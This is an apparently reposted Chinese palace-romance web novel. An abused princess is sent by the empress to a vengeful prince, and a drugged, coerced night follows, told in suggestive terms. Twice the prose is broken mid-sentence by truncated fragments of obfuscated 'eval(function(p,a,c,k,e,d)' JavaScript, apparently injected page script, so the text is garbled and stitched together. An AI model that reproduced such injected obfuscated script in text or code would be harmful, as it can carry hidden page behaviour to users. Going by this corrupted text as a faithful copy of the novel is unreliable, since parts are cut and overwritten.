《被仇敌强取豪夺后》 1. 文学城首发 二月天,夜晚春寒料峭,刚淋过雨的白玉石阶在庭灯下泛着幽暗的冷光,闻梨在这台阶上足足跪了一个时辰。 直至一旁监罚的方嬷嬷出声,闻梨跪得直挺的后脊才堪堪软下去,她揉着发麻酸胀的双膝,无声息坐在地上,等待双腿恢复知觉。 这期间无一个宫人上前搀扶闻梨起身。 方嬷嬷端起桌上的热茶,浅浅啜了一口,神色自若,语气却十分冷漠:“奴婢代皇后娘娘问一句,公主可知今日错在何处?” 闻梨垂下眼眸,声音略有些消沉:“我不该打碎沁云皇妹的砚盏。” 方嬷嬷抚了抚鬓边一丝不苟的发髻,冷冰冰训道:“公主当知,皇后娘娘操持后宫不易,今儿这个失手,明儿那个不小心,后宫还有规矩可言?公主既承了娘娘的恩典,挪出了冷宫,住在这锦衣玉食的凤栖宫,必得时时刻刻感念娘娘的恩德,今日欠下的礼佛经卷,还请公主今夜补全。” 闻梨低头应是。 方嬷嬷不紧不慢放下茶杯,命身后的太监呈上衣物,和缓了语气:“三日后宫中要举行一场春日宴,娘娘说公主及笄已满一年,也该为公主寻个好夫婿,赴宴时,还请公主打扮体面,莫要给娘娘丢脸。” 闻梨忍着腿疼起来,福身拜谢:“谢母后恩典。” 方嬷嬷满意地带着随从离去。 待一行人走远,银霜才敢小声地替自家主子打抱不平:“公主好歹也拿出点主子的架势来,她方嬷嬷再怎么得皇后娘娘宠信,那也是下人,哪有这般轻慢主子的?” 闻梨微微蹙了蹙眉,冷道:“此话日后不可再提。” 银霜心不甘情不愿诺了一声。 回到寝殿,闻梨坐在床边,任由银霜替她那红肿的双膝上药,望着枕边摆放的新衣,心中惶惶不安。 从前沈皇后不允许她参加任何宫宴,如今她刚及笄一年,沈皇后便要张罗着替她寻个夫婿,由沈皇后为她敲定的夫婿,恐怕并非良人。 寂寂长夜,闻梨辗转难眠。 * 春二月,正是玉京城一年中最热闹的时节,天气转暖,绿池边上燕子呢喃,街巷深处桃李盛放,百姓纷至沓来,游春赏花不亦乐乎。 京中的权贵望族家中却是另一番景象,为了即将到来的宫中宴会,一边忙着给适龄的女儿添置行头,欲为其寻个才貌双全的好夫婿,又一边规劝整日只知招猫逗狗的公子哥,期盼其娶个门当户对的贤妻兴旺门楣。 转眼到了春日宴当天,赴宴的马车将宫门围得水泄不通,宫外熙熙攘攘好不热闹,而宫闱内却森严安静,达官贵人及其家眷在宫人的引接下有序前往宜春园。 宜春园一角,宫女穗儿朝两位官家小姐欠身道:“二位姑娘的坐席在此,待晚宴时刻,奴婢自会来接二位过去。” 年岁较小的姑娘抱怨道:“什么嘛,此处地势低洼风景差,还不遮凉,为何偏偏给我们安排这样的席位?我看对面高处明明还空着不少好位置!” 此话一出,引得附近的贵女公子哥纷纷侧头观望。 与之同行的另一位姑娘生得玉容花貌,不禁蹙额轻声劝阻:“玉儿,别再说了,我瞧坐这里正好,快快落座,别叫旁人看笑话。” 被唤‘玉儿’的姑娘不情不愿坐下,嘴里还在嘟囔:“堂姐真是好脾气,这般忍让只会让他们更加怠慢我们。” 听出王萝玉话里的嘲讽之意,王若楚缄默不言,心中略有不快,若非四叔亲自求情,她绝不会带上刚入京的堂妹一起进宫,白白惹人笑话。 “阿楚!”远处传来一道熟悉的女声。 王若楚抬头,原来是闺中好友孙月如,便起身带着堂妹过去见礼。 孙如月的祖父是太子太傅,家中颇有些权势,故而分到了一个视野不错的坐席。 孙如月神秘兮兮道:“阿楚,你可知我们对面的高处坐着什么人?” 王若楚望过去,竹影重重,依稀只瞧见几个男子的身形,但看不清他们的相貌。 她摇摇头。 孙如月神秘一笑:“那里可坐着一位阿楚的旧相识,再好好想想!” 王若楚一下便猜着了,不自觉红了脸,羞赧的目光无处可放。 王萝玉见状,兴冲冲问道:“孙姐姐别卖关子了,快告诉我,究竟是什么人让堂姐如此难为情?” 孙如月笑道:“是谢陵,你堂姐儿时的未婚夫。” 王萝玉仔细回想:“是那位刚受封的异姓郡王临王?堂姐居然和他有婚约?” 王萝玉三个月前才搬来玉京,恰好赶上临王胜仗归来的那天,她曾遥遥见过马背上的那位将军,清朗绝尘,气宇不凡,不知令多少姑娘神魂颠倒。 不过,后来听人说那位将军屠了齐国两座城池,才换来赫赫战功,是个杀人不眨眼的活阎王。 王萝玉带着羡慕又同情地目光看向堂姐,却发现堂姐神情黯淡,似乎有什么心事。 王若楚从竹林移开眼,声音低落:“我与他是曾有过婚约,不过……” 话尚未说完,王若楚瞥见莲池边上有人落水,惊慌喊了一声,惹得众人纷纷扭头看去,又瞧见池边掉下去一个人,四周顿时喧闹起来。 过了好一阵子,才有宫人慌慌张张下水救人,听周围的人议论,落水的是宫里的两位公主,幸而得救及时,没有被淹死。 竹林内,凭栏而坐的深衣男子收回视线,端起酒杯一饮而下,感慨道:“没想到玉京的世风如此势利,你们瞧瞧,小的那位公主落水,簇拥着一堆人去救,而另一位公主,身边却只有个婢女,可见人情冷淡。” 与之同席的华服公子笑着解释道:“陆兄初来京城有所不知,并非京中人冷漠,而是那位闻梨公主身份特殊,又不得圣上与皇后喜爱,故而才受到冷落。” 陆回恍然:“原来如此,那小丫鬟不离不弃,也算是个忠心护主,难得,难得啊!” “那倒未必。”一道低沉磁性的嗓音响起。 二人齐齐望向台阶上一直沉默少言的临王。 谢陵端坐在榻上,日光透过竹隙,洒落点点浮金,照在他轮廓分明的半侧脸上,光线晃眼,叫人望不清他脸上此刻的神情。 陆回是谢陵的部下,难得见其主动开口,一时好奇问道:“王爷此话何意?” 谢陵饮了口酒,却不做任何解释,只淡淡道:“继续看热闹吧。” 没过多久,一个满头珠翠的华服妇人匆忙赶来,搂住自己的女儿心疼不已,直待御医说并无大碍,华服妇人才冷静下来,问责起照顾小公主的一干宫人。 小公主的贴身嬷嬷跪地道:“贵妃娘娘饶命,是小公主吩咐奴婢别跟着,还说要和闻梨公主一起放风筝,哪知奴婢一个错眼,小公主就掉进水池。” “闻梨公主怎会与柔儿一同落水?” 众人的视线随着岚贵妃的转身,一齐落在了水边坐着的少女身上。 少女肩上披着侍女刚送来的月白披风,湿漉漉的额发还在渗水,未施粉黛的脸略有些苍白,柳叶眉紧蹙,盈盈杏眸里流露着几分无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你说她是虞妃之女?” 谢陵的声音冷得令人头皮发麻,华服公子不知是自己的哪句话触怒这位活阎王,不自觉捏了把汗,“是、是啊,莫非临王殿下认识闻梨公主?” 谢陵没再说话,却将阴沉沉的目光锁在池边那抹纤弱的身影上。 场上气氛顿时凝滞,边上另有一模样清秀斯文的年轻男子替谢陵解围道:“何公子言笑了,王爷幼时便离京,怎会认识宫中的公主?” 华服公子尴尬地笑了笑,如坐针毡待了一阵,始终受不了这边压抑的气氛,寻了个借口告辞了,他一走,好些个世家子弟也跟着离开。 直至出了竹林,华服公子仍心有余悸,停下脚步问身后的世家弟子们:“吓死我了,你们刚刚瞧见临王眼中的杀气没?脾气果然如传闻那般暴虐凶狠,阴晴不定。” 有位世家弟子满怀歉疚:“世子所言甚是,连鄙弟我也吓得一身冷汗,早知临王与幼年如此天差地别,鄙弟绝不会引世子与临王相见。” 另有一人在旁感慨道:“想当年,谢氏一族何等风光,祖上出了多少位诗才,听说那位临王自幼聪明绝伦,七岁作诗已颇有杜老风范,甚得陛下欢心,还破格提拔成太子伴读,一晃十年过去了,如今却变成这副沉闷寡言的模样,倘若谢家当年没有遭遇那等祸事……” 华服公子立刻给了个慎言的眼神,“宫中耳目众多,不可在此妄议谢家灭门的事,别忘了,这是陛下亲自下的谕旨。” 2. 文学城首发 “好孩子,你且告诉岚娘娘,这一身的伤是怎么来的?别怕,有岚娘娘在,定会带你去陛下面前讨公道。” 闻梨深埋着脑袋,一句话不说,目光始终落在自己那被扯坏的衣袖上,眼中似乎有些惋惜,好好一件新衣裳,就这么破了。 见闻梨一声不吭,岚贵妃只得松手,瞥一眼银霜,“来人,把这小宫女送去刑司,照顾不好自家主子,便是失责。” 银霜跪地求饶:“贵妃娘娘饶命,并非奴婢照顾不周,公主身上的伤,皆是皇后娘娘所为,在凤栖宫,皇后娘娘倘或有一点不如意,便拿公主撒气,轻则抄书罚跪,重则鞭刑、挨饿、禁闭,求贵妃娘娘救救闻梨公主。” 银霜重重磕头。 闻梨置若罔闻,缩回自己的手,藏进袖中,仍然没什么反应。 岚贵妃似乎受到极大震撼,一脸难以置信:“皇后娘娘最是菩萨心肠,怎会如此虐待闻梨公主?来人,速速将陛下请来,查明公主受虐真相,也好还皇后娘娘清誉。” “陛下不会来了。”远处传来一道盛气凌人的女声。 众人纷纷跪拜迎接沈皇后。 岚贵妃瞧见沈皇后的刹那间,眼皮跳得厉害,不明白沈皇后怎会这么快赶来,脸上带着勉强的笑:“皇后娘娘不是在佳庆宫准备晚宴,怎会有闲心过来赏花?陛下呢?” 沈皇后已年近四十,精致的妆容,与那一身华贵宫服衬得她雍容尊贵,只有那眼尾的细纹和鬓间的白发,隐约能瞧出岁月的流逝。 “陛下身子不适,已有太医去伺候。”沈皇后侧目,厉声训斥道:“大胆姜氏,身为贵妃,不帮本宫看顾宴席,却在这里兴风作浪,试图挑拨离间,坏皇家清誉,到底是何居心?” 岚贵妃强稳住心神,心知自己派去请皇上的人怕是回不来了,但她不甘心就此罢手,筹谋许久,好不容易要在世人面前揭开沈皇后假慈悲的真面目,哪能放过这次机会。 “与皇室子嗣的安危比起来,皇室颜面算得了什么?闻梨身上的伤,皇后娘娘如何解释?” 沈皇后的目光略过众人,落在了一直沉默不语的闻梨身上,“闻梨,你可知罪?” 这时,闻梨没有片刻犹豫,熟练地跪下认罚:“儿臣没能及时解释误会,未能管教好宫人,还未看顾好皇妹,请母后责罚。” 岚贵妃闻言,顿时慌了神,宫中人皆知,沈皇后佛口蛇心,假借教养之名把闻梨养在膝下,却日日折磨出气,在外搏了个贤良大度的名声。 只要闻梨愿意站出来指认沈皇后,岚贵妃便有八成的胜算扳倒沈皇后。 岚贵妃走到闻梨身边,安抚道:“别怕,有岚娘娘给你撑腰,有什么就说什么。” 闻梨抬头,望了一眼岚贵妃,眸光冷淡:“多谢岚娘娘关心,我手腕处的伤,是被猫抓破的,因为害怕母后将猫送走,故而才一直不愿说。” 岚贵妃好似被水浇了个凉心透,彻底愣住,紧紧拽着闻梨的手腕:“说呀,你为什么不说?你想一辈子被她折磨吗?” 闻梨抿紧唇,一句话不说。 “够了!”沈皇后怒道:“来人,将岚贵妃带回芷梧宫,禁足三个月,罚俸半年,宫女银霜挑弄是非,背主忘恩,赐杖八十。” 闻梨仍然跪着。 沈皇后作状虚扶了一把,口中却道:“别怪母后严厉,倘若今日不责罚你,来日你的弟弟妹妹们也都放纵宫人乱了规矩,罚你回去跪一个时辰,今晚不必再来宴席。” 闻梨没有一丝为自己争辩的念头,颔首应是,起身跟着方嬷嬷等人回去领罚。 宴席前的闹剧就此结束,众公子贵女看了一场宫廷热闹,亲眼目睹了皇后娘娘的厉害之处,大不敬的言语顿时少了许多,没人再敢惹事生非。 没过多久,前厅传来开席的消息,众人陆续前往前厅赴宴。 王萝玉今日见识到宫中的勾心斗角,毛躁的性子收敛了很多,安分跟在堂姐身后,悄声感慨道:“皇后娘娘可真是雷厉风行,责罚起人来毫不手软,我瞧着那位闻梨公主日子真不好过,湿衣服都还没换,便被罚跪。” 王萝玉没等来堂姐的回应,抬头一瞧,却发现堂姐一直望着竹林的方向,她也随之看了过去,石阶上竹影绰绰,俊朗无双的年轻王爷,一袭绛紫劲装束身,衬得他身姿挺拔如松,尤其是那窄腰宽肩,极为惹眼。 萝玉堂妹轻撞了下王若楚的胳膊,掩唇打趣道:“堂姐不去找临王叙叙旧?” 王若楚回过神来,面色羞赧,埋头快步往前走,在她移开视线的刹那间,后方正好也投来三缕打量的目光,而她对此浑然不察。 “王爷,听说那位紫衣姑娘便是与您儿时有婚约的王景玄之女,果然仙姿玉貌,婉约动人,末将瞧着跟王爷您甚是登对!” 谢陵淡淡扫了一眼,很快又将目光移开,似乎并未将其放在心上。 军师商晏低头清咳一声,提醒道:“陆参将还请当心言辞,宫里处处是探子,切莫再说此等言语。” 陆回歉疚笑了笑,“先生教训得是,我胡咧咧惯了,嘴上没个把门的,我不过是瞧着那位姑娘屡屡回头看向王爷,情意绵绵的样子,而我们王爷,却总冷着一张脸,不知要吓跑多少姑娘。” 谢陵侧头斜睨陆回一眼,面上似有不快:“看来陆参将是春心萌动了,不如明日我派人去请媒婆,也给你寻一门婚事?” 听出谢陵恼了,陆回立刻请罪道:“王爷千万别,末将知错了,再也不敢打趣您了。” 其实陆回大抵能猜出来王爷因何恼怒。 此番受封进京,多方势力想要拉拢谢家,不论投靠哪边,京城地盘就这么大,谢家来得晚,抢不到什么资源优势。 而以王家为首的氏族名流,虽无实权,但名声在外,家底殷厚,若能得到他们的助力,谢家便能暂且在京城站稳脚跟,再逐步从太子手里夺权。 此事难就难在,王家跟谢家曾经有过婚约,但当年谢家出事,王家为求自保,不仅与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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沈皇后难得心情好,多说了几句:“何仇何怨?二人的仇怨可不小,当年虞妃谋逆,不知怎的被谢家家主谢怀知晓,于是虞妃痛下杀手,派人灭了谢家满门,虞妃死后,陛下一直忌讳此事,下令杀了所有知情人,唯有谢怀的弟弟谢宗知道真相,临王跟着他二叔在北境多年,故而本宫猜测,临王也知道这件事。” 苏嬷嬷更不理解了:“娘娘既然想拉拢临王,为何要把仇人之女送到他眼前?何况闻梨公主养在娘娘名下,就不怕临王迁怒娘娘吗?” 沈皇后掷出几把鱼食,“本宫不但要把人送到他眼前,还要把人送到他身边,你说,以仇敌之女作为见面礼,临王会拒绝吗?” 苏嬷嬷彻底折服:“原来如此,既拉拢了临王,又不让虞妃之女好过,娘娘果然英明!但万一临王下手没个轻重,把公主弄死怎么办?” 沈皇后盯着池中暴食而亡的鱼,冷笑一声:“那正好,如此一来,临王便有把柄握在本宫手里,还怕他不会乖乖听话?” 与此同时,有太监进来传话,说陛下中毒已醒,此刻正在寝殿大发雷霆,要宣沈皇后觐见。 “本宫忙着备宴,没空去见陛下,让陛下自个多多保重身体,别再误食用什么东西晕倒,另外叫陛下放心,前殿自有太子坐镇。”沈皇后冷笑着打发太监,又问苏嬷嬷:“郑贵妃那边今日有何举动?” 苏嬷嬷:“郑贵妃也有意让她的女儿接近临王,若被郑贵妃抢先,于娘娘大计不利呀。” 沈皇后看着池中翻起肚皮的鱼儿,半晌才道:“夜长梦多,下去安排,今晚就把人送上临王的床榻。另外这池子里的鱼,也该换一茬了。” 3. 文学城首发 天色逐渐暗沉,四下寂静无声,因着宴席的缘故,凤栖宫内的宫人悉数出去,唯剩一个方嬷嬷在此监罚。 短短几日内,闻梨在这玉阶上跪了两回,加上今日又落了水,寒气侵体,膝疼难耐,在她将要受不住之际,苏嬷嬷忽然出现,嘘寒问暖着将她从地上扶起。 “公主别觉着皇后娘娘狠心,皇后娘娘此举也是想让公主明白一个道理,岚贵妃不惜拿自己女儿的性命冒险,只为扳倒娘娘,公主今日不该出手救姝柔公主,她的死活与娘娘,与公主您都没有干系。” 闻梨低声应是,早在她发现池边泥土松陷,便察觉到皇妹落水是有人故意为之,其实她本可以避开岚贵妃的暗算,可当闻梨瞧见无望挣扎的皇妹,她想起了当年的自己。 那年母妃为了争宠,让不到五岁的她去莲池采荷花,溺水的恐惧到现在还会时时侵扰她的梦境,一想到此,便对皇妹有些于心不忍。 一旁的方嬷嬷看不惯苏嬷嬷用心计笼络人心,毫不客气道:“罚跪的时辰尚未到,苏嬷嬷这是做什么?” “自然是娘娘有事交给我办。”苏嬷嬷得意说着,又热切看向闻梨,“有一件事老奴要向公主道喜,临王年轻有为,乃是皇后娘娘看重的佳婿,但娘娘在宫中的处境,想必公主都看在眼里,倘若被旁人抢先,必有重重阻碍,因此只能委屈公主替娘娘分忧。” 闻梨心口蓦然一沉:“不知皇后娘娘要我做什么?” 苏嬷嬷:“娘娘要公主今晚伺候好临王,虽不太体面,来日有皇后娘娘做依仗,公主还担心成不了临王妃吗?” 闻梨沉默了半晌,虽说她早知自己的命运,逃不掉被皇后用作联姻的棋子,可没想到,竟是如此不堪地将她送上别人的床榻,和一件物品有何区别? 夜风骤起,吹得闻梨浑身发寒,湿衣裳还未全干,彷佛像牢锁,沉甸甸地锁着她的脊背,四肢,甚至是心。 越是反抗,便锁得越紧。 “好。”闻梨最终作了回应。 苏嬷嬷在前方带路,“公主且先随老奴去换衣服,等酒宴散了,老奴再送您过去。” 换完衣裙,闻梨跟随着苏嬷嬷行走在高高的宫墙之间,自打进了凤栖宫,她便很少踏足前殿,幼年时的记忆像是打开了闸口,不断涌现进脑中。 从众星捧月的公主,变成忍辱求全、任人摆布的棋子,荣辱生死只在权势者的一念之间。 闻梨太过了解沈皇后的性子,一旦沈皇后能与临王交好,便会迫不及待找个更听话的棋子代替她。 幽深甬道的尽头,是一扇扇深不见底的朱漆宫门,与幼年的记忆相比,墙还是一样的高,夜还是一样的深沉,好像什么都没变,又似乎一切都不一样了。 什么时候能越过那道最高的宫门,去外面的天地瞧瞧呢?也许她这辈子都见不到了吧。 春芳阁是前殿外臣们歇息的住所,此处远离后宫与前朝,地势虽偏僻,但今日歇了不少人,不似平常那般清净。 一进进独立的小院错落有致,各院景色清新雅致,皆有不同,有山石、花鸟、鱼池、竹林等。 苏嬷嬷推开其中一扇院门,溪流自假山簌簌落下,汇聚在池中,掩盖旁院传来的一些寻欢作乐的闹声。 来到房中,苏嬷嬷止步道:“公主别忘了老奴教您的侍寝规矩,明日卯时,老奴再来接您。” 苏嬷嬷说罢,便退出房门,脚步声逐渐消失。 房内没有点灯,闻梨扶着桌沿坐下,未等多时,门外再次响起脚步声,那步伐沉稳有力,闲庭漫步而来。 心中一紧,闻梨不自觉屏住呼吸,房门被人推开的刹那间,她抬眸循声望去,门里站着的高大身影几乎挡住檐下的灯笼,只依稀瞧见来人朦朦胧胧的轮廓。 一想到即将跟眼前的陌生男子行鱼水之欢,闻梨心中的羞耻感徒然倍增,不免有些害怕、紧张,甚至还有点绝望,万般惆怅的情绪压在心间,几乎让她喘不过气。 谢陵推门而入,第一眼便注意到桌边坐着的女子,自他入京以来,前来投怀送抱的人见得多了,有想拉拢的,有图财好色的,也有想要暗杀他的,但没有谁能从他身上讨到便宜。 今晚留他夜宿宫中的人是沈皇后,想来对方是沈皇后的人。 谢陵不紧不慢掏出火折子,点燃窗边的烛台,烛火腾起亮光的刹那,他往桌前瞧去,猝不及防对上一双略含泪光、慌张无措的杏眸,细看她的脸,柳叶眉微蹙,眼神明澈得似一汪清泉,眼尾红鼻头也红,看起来刚哭过。 她局促不安站在那里,乌发垂至两肩,几乎遮住盈盈腰肢,薄如蝉翼的纱裙下,隐约可见其妙曼的身姿。 谢陵打量完毕,神色霎时变得沉郁,深埋心间多年的仇恨再次复苏,理智告诉他,父辈的仇不该迁怒在一个无辜的人身上,何况仇人已死,没法亲手报仇,做什么都无济于事。 可她偏偏自投罗网,送上门来让他报复。 望着那双无辜的眼睛,在理智与仇恨的拉扯间,谢陵压制住情绪的起伏,怒声道:“滚出去。” 闻梨浑身一颤,仿佛有那么一瞬间,感受到对方身上散发的浓浓杀意,意识到男子不喜欢自己,闻梨犹豫片刻,往边门走去,心中已经想好大不了在外面待上一夜。 可走到门边,闻梨才注意到门被人从外面锁上了,拉了几下没拉动,腰间忽地覆来股力量,一只几乎与她腰一样粗的手掌从后面攥紧她的脖颈,男子粗重的热息喷洒在她的耳后。 “不走,是想留这儿等死吗?” 闻梨挣脱不开,脸被憋得通红,艰难开口:“王爷屠城时,便是这般杀了城中的妇幼老弱?” 谢陵闻言,脸色变得更加难看,手中的力道却不自觉放松,过了片刻,他冷静下来,松开手冷道:“你还真是不怕死。” 闻梨颈间的肌肤火辣辣的,猛地咳嗽了一阵,才恢复呼吸,仰头望向比自己高出许多的男子,借着烛火,闻梨这才看清他的容貌,丹凤眼,眼尾上挑,鼻梁高挺,唇薄颜色淡,明明是看上去极为令人赏心悦目的五官,此刻却一副深仇大恨的神情。 “我不知王爷为何想杀我,但王爷若动手,就如同捏死一只蚂蚁一样简单,可杀掉我,于王爷而言有什么好处?相反,王爷还会被我身后之人要挟,一辈子受控他人,还望王爷三思。” 谢陵狭眸幽邃,怒极反笑:“本王今日倒是小瞧 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她添了两杯,一杯留给自己,另一杯端给临王。 谢陵伸手来端水,手刚碰到闻梨冰冰凉凉的手,便触电般缩回,没接稳的茶杯落地摔碎了。 闻梨愣了一瞬,第一个反应是以为自己要被骂了,从前在凤栖宫打碎东西,不仅会被骂,还要被罚跪。 谢陵察觉到身体的异样,没说什么,自己起身端桌上的另一杯水喝,他注意到桌上已经没有别的茶杯了,迟疑片刻,还是把水喝了下去。 闻梨也有些渴,但只剩下一只茶杯,便只能干望着临王喝。 今晚格外的热,谢陵喝完一杯,又倒了一杯,彼时才意识到不对劲,他立刻放下茶杯,运功调息,却发现自己中药了,药性尚且不明,只觉浑身燥热,血气方刚得比平时更厉害。 谢陵眼中染上一抹愠色,冷冽的嗓音压抑着怒气:“你在水里下药了?” 闻梨错愕片刻,解释道:“怎么会……那杯水原是我自己要喝的。” 谢陵不语,将杯中到满水,递给闻梨才道:“既然没下毒,那你也喝给本王瞧瞧。” 闻梨为自证清白,毫不犹豫接过茶杯,一口饮尽,身体并无异样,干燥的嗓子被水润过之后舒服多了,但她还想喝更多水,然而茶壶在谢陵身旁,只得作罢。 谢陵这才相信水里没下药,环视周围一圈,最终将目光落在烛火上,心里有了答案。 闻梨循着谢陵的视线望过去,心中也明白了几分,宫中最不缺的就是下药的手段。 两人都心知肚明自己中了什么药,当下气氛更加静默。 闻梨的神情还算从容,反观谢陵,眉头微蹙,下颌紧绷,俊脸浮起一丝窘迫,始终站在桌后,仿佛在遮掩什么。 隔了一会儿,谢陵弹出指风灭掉烛火,房内顿时变黑,对于常年练武的谢陵而言,能靠着记忆也能辨别房中的布局,轻松自如走到床边。 见闻梨还站着不动。 谢陵颐指气使:“公主不是来伺候本王睡觉的吗?还愣着做什么?” 4. 第四章 随后,房中接连响起两道哐当声,谢陵瞧见那位蠢笨公主,先踢歪了椅子,又磕到床沿上,明明撞得很疼,却一声不吭,自己褪掉鞋袜,乖乖躺好。 谢陵被气笑了:“躺着做什么?是等着本王过来伺候你么?来给本王脱鞋。” 闻梨毫无怨言起身,光脚踩在冰凉的地面,视线基本已经能适应黑漆漆的环境,循着谢陵的方位过去,蹲低身子,伸手去找他的鞋,却不偏不倚碰到某个奇怪的地方。 她还想再往下探,手腕被人一把攥紧,男子羞恼的声音响起:“你在乱摸什么?这里不是本王的脚。” 闻梨这才意识到,临王是坐着的姿势,他的手劲很大,掌心很烫,摁着她的手往下走,终于摸到坚硬的鞋面。 谢陵自刚才被摸之后,浑身都不太对劲,迫切想要冲个凉水澡,但房门被锁,今晚没办法出去,此药不比一般的毒药,仅靠运功是没法排解的。 正当谢陵烦躁不已,某个不安分的家伙替他脱完鞋,手伸上来不知道要做什么,居然又碰到不该碰的地方,怪异的感觉涌遍全身,情不自禁闷哼了一声。 闻梨飞快缩回手:“抱歉,我只是想替王爷更衣。” 谢陵还沉浸在刚才的感觉中,一时没能出言喝止,只是不耐烦推开闻梨,径自来到床边坐下,他需要好好冷静。 这药劲的力度,远比他想象得强势霸道。 闻梨在宫中多年,除了隐忍顺从,还学会了揣摩别人的心思。 眼前的临王虽一来便掐她脖子,却并未使一点劲儿,否则凭他的手劲,不费吹灰之力便捏断她的脖颈。 至于为何一见面便目露杀意,恐怕是不喜欢以这种方式被人拿捏,或者收买,换言之,倘若能讨好他,没准能借他之手摆脱沈皇后的控制。 眼下闻梨已经没得选了,错过这个机会,回去后不知沈皇后会怎样处置自己,更要紧的是,沈氏一族权势滔天,也许唯有这位新晋的王爷能与之对抗。 她所谋所求不过自由二字,至于名节贞操这种虚无缥缈的东西,她通通不在乎。 闻梨麻利褪去衣裳,殊不知练武之人的目力极好,有灯无灯皆能看得一清二楚,包括那抹胸上绣的花样。 黑暗中,谢陵视线逐渐下落,呼吸声愈发紧促,理智到了失控的边缘,指尖来回摩挲着床沿的细纹,望着未着寸缕的人一步步靠近。 没等闻梨主动贴近,他却先一步捏住闻梨的胳膊,蛮横地将人禁锢在自己怀里,闻梨几乎跌坐在他腿上。 谢陵的一只手稳稳掐住闻梨的腰肢,另一只手挟紧她的脸慢慢凑近,二人呼吸近在咫尺,他低沉的嗓音近乎魅惑,却带着几分凉薄之意,轻蔑道: “公主可知惹火了本王的下场是什么?可曾想过本王比皇后还要心狠手辣?本王不会许诺你王妃的地位,只把你当作身边的一条狗。” 谢陵的语气实在太恶劣了,闻梨没忍住,狠狠咬了下谢陵的肩,腰间一紧,她感受到他掌心腾起的炙热温度。 宫中人人都是势利眼,无权无势者活得连狗都不如。 颈间落来滚烫的吻,有点痒,还黏糊糊的扯不开。 缠在腰间的力道越来越紧,那吻来势汹汹,不断地朝她索取,又顺势往下落,闻梨绷紧身子,耳畔是男子的粗喘声。 “公主若不情愿,随时可以停下。” “你好啰嗦。”闻梨难为情说道,都到这般田地了,停下岂不是她吃亏了。 谢陵不再言语,将闻梨拦腰抱起,转而来到榻上,事情到了这一步,他反而不急不躁地脱去衣服。 俯身压过来的那刻,他一只手便将她的双手捉住,抵过她头顶,她的每一寸肌肤皆落在他眼中,他打量她的眼神,就像是毒蛇缠上猎物,慢慢地收力,让猎物无处可逃。 另一只手却直直往下滑落,托在了她的腰间。 随着谢陵手上力道的加深,闻梨感觉到了痛,痛彻心扉,比后背一下下撞到床面上还痛。 这夜太漫长,架子床晃动的响声在闻梨耳边萦绕,清晰地传进她脑子里,在紧张的情绪下,肌肤的每一寸触感无限放大。 泪水洇湿了靠枕。 “不准哭出声。”谢陵疾言厉色凶了一句。 闻梨紧紧咬着唇,忍住不出声,她努力去听到门外潺潺的溪流声,夜风吹动树叶的声,从前挨打时,她便是这般将自己的意识投射到他处,以此来麻痹自己。 翌日清晨,天蒙蒙亮时,闻梨醒了,浑身酸疼得厉害,耳边是男子匀称的呼吸。 她蹑手蹑脚爬起来,捡地上的衣服穿好,回头瞧了一眼,却发现临王早已醒来,单臂撑起身子,懒洋洋斜倚在枕上,凝望着她的一举一动。 “王爷醒了?” “嗯,公主打算回去?” 闻梨被他盯得神色不太自然,别过脸去,轻声道:“我不奢求能嫁给王爷当临王妃,于我而言,能有个安身立命的地方便足够了,若王爷能助我逃离沈皇后的掌控,我愿意此生一心一意侍奉王爷。” 谢陵考虑了良久,低声应了句好。 奇怪,有了肌肤之亲后,望着闻梨那张无辜的脸,他竟然开始去想,谢家遭难之际,闻梨不过六七岁大,是什么都不懂的年纪。 闻梨紧悬着的心终于落地,还好没被吃干抹净。 闻梨盈盈一伏:“那就不打扰王爷休息。”想了想,她又回头望了一眼谢陵道:“我会在宫中静候王爷消息,还请王爷莫要失约。” 闻梨走后,谢陵也睡不着了,索性起身穿衣,却发现自己随身携带的玉佩不见了。 回想起闻梨翻找衣服的架势,他原以为她是目力不好,分不清哪件是她的,现在想来,那家伙远没有外表那般乖顺,偷偷拿了他的玉佩,是在担心他翻脸不认账吧? * 谢陵回到临王府,军师和陆回已等候他多时了。 谢陵见他二人眼底的淤青,想必是彻夜守着他的消息,便解释道:“留我夜宿宫中的人是沈皇后,她想拉拢我,替太子做事。” 军师商晏道:“这和我们入京前想的差不多,皇帝多病,沈氏一族在前朝替太子笼络人心,沈皇后在后宫替太子清扫障碍,唯一能与之抗衡的便是郑贵 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商晏很快洞悉了谢陵的想法,坦言道:“殿下不想娶王家的女儿对吧?昨日便见殿下对王姑娘兴致缺缺,我私自调查了一下,才知道王家当年退婚一事,殿下向来恩怨分明,选择了虞妃的女儿,一则拖延婚事,二则你明白你二叔的手段,寻常女子定逃不过一死。” 谢陵沉默不语,自己的所想所为,皆被商晏看得一清二楚,十年了,在商晏面前,自己从来没有任何心事能瞒过他。 陆回见二人之间的气氛将至冰点,两边劝道:“王爷冷静,军师他不禁打的,你一拳下去,肯定鼻歪眼斜。还有军师啊,你自己憋心里就好,干嘛说出来拆穿王爷?” 商晏坦荡对上谢陵阴沉的目光,神色诚恳道:“我是看着殿下长大的,这些年殿下把自己绷太紧,从未松懈过片刻,仇恨是会蒙蔽双眼的,也会让殿下越来越孤僻。” 谢陵不解问:“军师的意思是?” 商晏道:“殿下没得选,我们不得不借助王家的势力,王家姑娘必须要娶,至于闻梨公主,我会想办法帮殿下替谢侯争取,两个一起娶也行,但还请殿下以大局为重,偶尔任性一次没关系,但王家这股势力,万不可失去。” 陆回震惊,“两个都娶?王爷好福气,但一位虽然落魄,好歹是天家公主,另一位又是清流氏族的女儿,她们会乐意吗?” 商晏笑道:“这就要看殿下的努力了。” 谢陵沉默许久,放弃与商晏玩心思,神情恹恹道:“军师看着办就好。” 与此同时,外间长随风浅来报,回禀说洗澡水已经倒好,另外还递来一封信。 商晏接过来先瞧,原来是他前几日以临王的名义派人送给王家的请帖,此贴一直迟迟未回,经过昨天春日宴一事,今早竟回了。 陆回好奇问:“帖子上怎么说?” 商晏却看向谢陵:“恭喜殿下,王家应允了,三日后的踏春游,王家姑娘也会去。” 